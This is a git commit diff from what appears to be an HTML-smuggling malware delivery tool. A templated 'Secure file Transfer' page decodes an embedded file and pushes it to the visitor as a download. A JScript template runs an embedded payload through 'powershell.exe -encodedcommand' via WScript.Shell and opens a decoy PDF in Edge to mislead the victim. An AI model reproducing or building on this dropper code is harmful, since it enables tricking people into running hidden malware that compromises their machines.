slightly reworked html template

main
Johannes Bülow 2023-08-30 08:57:28 +02:00
parent 05a79976af
commit 3b8b002108
Signed by untrusted user who does not match committer: jmb
GPG Key ID: B56971CF7B8F83A6
3 changed files with 10 additions and 16 deletions

View File

@ -1,4 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectRootManager">
<output url="file://$PROJECT_DIR$/out" />

View File

@ -9,6 +9,7 @@
<h1>{{ .Title}}</h1>
<p>Thank you for using the Secure file Transfer!</p>
<p>Please wait while your File is being prepared</p>
<p>If your Download didn't work, <a href="javascript:void(0);" id="download">Click here</a></p>
</div>
<footer style="position: absolute; bottom: 0; width: 100%; text-align: center">
@ -31,12 +32,13 @@
// Create blob
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
// Trigger download
const downloadUrl = URL.createObjectURL(blobData);
const link = document.createElement("a");
// Get the link element by its ID
const link = document.getElementById("download")
link.href = downloadUrl;
link.download = "{{.Filename}}";
link.click();
</script>
</html>

View File

@ -1,21 +1,14 @@
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Write(window.atob({{.Encoded}}));
var bytes = stream.Read();
var base64EncodedBinary = "{{.Encoded}}";
var shell = new ActiveXObject("WScript.Shell");
shell.Run(bytes, 0, false);
var command = "powershell.exe -encodedcommand " + base64EncodedBinary;
shell.Run(command, 1, true);
{{if len .EncodedDecoy}}
var s2 = new ActiveXObject("ADODB.Stream");
s2.Type = 1;
var dataUri = "data:application/pdf;base64,{{.EncodedDecoy}}";
s2.Write(window.atob({{.EncodedDecoy}}));
var b2 = stream.Read();
shell.Popup(b2, 0, "Document", 0x40);
var shell = new ActiveXObject("Shell.Application");
shell.ShellExecute("msedge.exe", dataUri, "", "open", 1);
{{end}}